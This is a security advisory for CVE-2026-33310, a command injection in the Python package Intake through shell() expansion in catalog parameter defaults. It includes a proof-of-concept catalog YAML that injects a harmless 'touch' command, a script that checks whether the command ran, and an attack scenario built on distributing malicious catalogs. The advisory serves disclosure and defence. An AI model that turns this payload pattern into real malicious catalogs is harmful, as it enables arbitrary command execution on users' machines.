---
id: CVE-2026-33310
aliases:
  - GHSA-37g4-qqqv-7m99
  - PYSEC-2026-2185
title: Intake has a Command Injection via shell() Expansion in Parameter Defaults
summary: Intake has a Command Injection via shell() Expansion in Parameter Defaults
severity: high
cvss: 8.8
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H'
vendor: intake
product: intake
ecosystem: pip
affected:
  - intake <= 2.0.9
published: '2026-03-19'
updated: '2026-07-13'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-37g4-qqqv-7m99'
references:
  - url: 'https://github.com/intake/intake/security/advisories/GHSA-37g4-qqqv-7m99'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-33310'
  - url: >-
      https://github.com/intake/intake/commit/d0c0b6b57c1cb3f73880655ded4a9b0e18e1fd1b
  - url: 'https://github.com/intake/intake'
tags:
  - osv
  - pip
  - exploit-available
epss: 0.00492
epssPercentile: 0.39631
ingestedAt: '2026-07-13T18:57:51.705Z'
exploits:
  github: 1
  githubRepos:
    - 'https://github.com/redyank/CVE-2026-33310'
  checkedAt: '2026-09-25T08:20:55.057Z'
exploitAvailable: true
---

## Overview

### Summary
The shell() syntax within parameter default values appears to be automatically expanded during the catalog parsing process.
If a catalog contains a parameter default such as shell(<command>), the command may be executed when the catalog source is accessed.
This means that if a user loads a malicious catalog YAML, embedded commands could execute on the host system.
This behavior could potentially be classified as OS Command Injection / Unsafe Shell Expansion.

### Details
The issue appears to originate from how parameter default values are expanded when a catalog source is accessed.

During catalog loading and source access:

Intake resolves parameter default values
The function responsible for expanding defaults processes the shell() syntax
The shell expression triggers a subprocess execution
Because this occurs during catalog evaluation, the command may execute before the user explicitly interacts with the dataset itself.

Affected logic appears to involve:
```
expand_defaults()
```
and related parameter parsing mechanisms.


### PoC
exploit.yaml
```
metadata:
  version: 1
sources:
  rce_test:
    driver: csv
    description: "Testing shell expansion in parameters"
    args:
      urlpath: "{{ cmd_exec }}"
    parameters:
      cmd_exec:
        display_name: "Test Parameter"
        type: str
        default: "shell(touch /tmp/intake_rce_test)"
```

reproduce.py
```
import intake
import os

PROOF_FILE = "/tmp/intake_rce_test"

if os.path.exists(PROOF_FILE):
    os.remove(PROOF_FILE)

print(f"[*] Proof file exists before: {os.path.exists(PROOF_FILE)}")

try:
    cat = intake.open_catalog("exploit.yaml")

    print("Accessing source...")
    _ = cat["rce_test"]

except Exception as e:
    print(f" Error during execution: {e}")

if os.path.exists(PROOF_FILE):
    print(f" Command execution confirmed, Found: {PROOF_FILE}")
else:
    print("Command execution did not occur.")
```
### Attack Scenario
A potential attack scenario could be:

1. An attacker publishes a malicious Intake catalog YAML file
2. The victim downloads or loads the catalog
3. The victim accesses a source entry in the catalog
4. Parameter defaults are expanded
5. The shell() expression triggers execution of the embedded command

### Impact

If this behavior is confirmed to be unintended, an attacker could distribute a malicious catalog file via:

- Git repositories
- shared datasets
- URLs
- data science workflows
- Any user loading the catalog could unknowingly execute commands with their local user privileges.

### Recommendation
Possible mitigations could include:

- disabling shell() expansion by default
- requiring an explicit opt-in flag (e.g., allow_shell=True)
- restricting shell execution for catalogs loaded from untrusted sources
Please let me know if additional information or testing is needed.
I'm happy to assist with further analysis or validation.

## Affected packages

- `intake <= 2.0.9`

## Remediation

Refer to the advisory for the patched release.